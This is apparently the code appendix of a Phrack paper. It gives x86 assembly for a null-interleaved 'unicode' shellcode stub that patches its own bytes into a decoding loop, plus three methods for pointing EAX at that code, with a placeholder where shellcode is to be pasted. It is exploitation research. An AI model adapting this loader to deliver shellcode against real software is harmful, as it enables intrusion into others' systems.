It is not really a code sample, but i gathered all my examples so that you
don't have to look everywhere in my messy paper to find what you need...

- main.asm ----------------------------------------------------------------
%include "\Nasm\include\language.inc"

[global main]
        
segment .code public use32
..start:

; *********************************************
; *   Assuming EAX points to (*) (see below)  *
; *********************************************

;
; Setting EBX to 0x00000000 and ECX to 0x00000500
;
push byte 00	      ; 6A00
push byte 00	      ; 6A00
pop ebx               ; 5D
add [ebp+0x0],al      ; 004500
pop ecx               ; 59
add [ebp+0x0],al      ; 004500
mov edx,0x41000500    ; BA00050041
add ch,dh             ; 00F5


;
; Setting the loop_code
;
add [ebp+0x0],al      ; 004500
mov byte [eax],0x8A   ; C6008A
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0x58   ; C60058
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0x14   ; C60014
add [ebp+0x0],al      ; 004500

inc eax               ; 40
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500
mov byte [eax],0xE2   ; C600E2
add [ebp+0x0],al      ; 004500
inc eax               ; 40
add [ebp+0x0],al      ; 004500

;
; Loop_code
;

db 0x43 
db 0x00 ;0x8A         (*)
db 0x14 
db 0x00 ;0x58
db 0x88 
db 0x00 ;0x14 
db 0x18 
db 0x00 ;0xE2 
db 0xF7

; < Paste 'unicode' shellcode there >

-EOF-----------------------------------------------------------------------

Then the 3 methodes to get EAX to point to the chosen code.
(N.B : The 'main' code is 42*2 = 84 bytes long)

- methode1.asm ------------------------------------------------------------
; *********************************************
; *        Adjusts EAX (+ 0xXXYY bytes)       *
; *********************************************

; N.B : 0xXX != 0x00

add eax,0x0100XX00    ; 0500XX0001
add [ebp+0x0],al      ; 004500
add eax,0xFF000100    ; 05000100FF
add [ebp+0x0],al      ; 004500

                            ; we added 0x(XX+1)00 to EAX

; using : add al,0x0 as a NOP instruction :
add al,0x0            ; 0400
add al,0x0            ; 0400
add al,0x0            ; 0400
; [...]   <--  (0x100 - 0xYY) /2  times
add al,0x0            ; 0400
add al,0x0            ; 0400
add al,0x0            ; 0400

; (N.B) if 0xYY is odd then add a :
dec eax               ; 48
add [ebp+0x0],al      ; 004500
-EOF-----------------------------------------------------------------------



- methode2.asm ------------------------------------------------------------
; *********************************************
; *         Basically : POPs and XCHG         *
; *********************************************

popad                 ; 61
add [ebp+0x0],al      ; 004500
xchg eax, ?           ; 1 non null byte    (find out what to do here)
add [ebp+0x0],al      ; 004500

; do it again if needed, then use methode1 to make everything okay
-EOF-----------------------------------------------------------------------



- methode3.asm ------------------------------------------------------------
; *********************************************
; *                Using a CALL               *
; *********************************************

; Get the wanted address

mov eax,0xAA00??00         ; B800??00AA
add [ebp+0x0],al           ; 004500
push eax                   ; 50
add [ebp+0x0],al           ; 004500
dec esp                    ; 4C
add [ebp+0x0],al           ; 004500
pop eax                    ; 58
add [ebp+0x0],al           ; 004500
mov al,0x0                 ; B000
mov ecx,0xAA00!!00         ; B900!!00AA
add ah,ch                  ; 00EC
add [ebp+0x0],al           ; 004500

; EAX = 0x00??!!00

; awfull patch, i agree
mov dword [eax],0x00C30058 ; C7005800C300
inc eax                    ; 40
add [ebp+0x0],al           ; 004500
mov byte [eax],0x50        ; C60050
add [ebp+0x0],al           ; 004500

          ; just pray and call

call 0x????????            ; E800!!00??

add [ebp+0x0],al           ; 004500

; then add 90d = 0x5A to EAX (to reach (*), where the loop_code is)
; case where 0xXX = 0x00 so we can't use methode1

add al,0x0                 ; 0400     because we're patching at [eax]

mov [eax],eax              ; 8900
add dword [eax],byte 0x5A  ; 83005A
add [ebp+0x0],al           ; 004500
mov eax,[eax]              ; 8B00

; EAX pointes to the very first null byte of loop_code


|=[ EOF ]=---------------------------------------------------------------=|

[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]
© Copyleft 1985-2024, Phrack Magazine.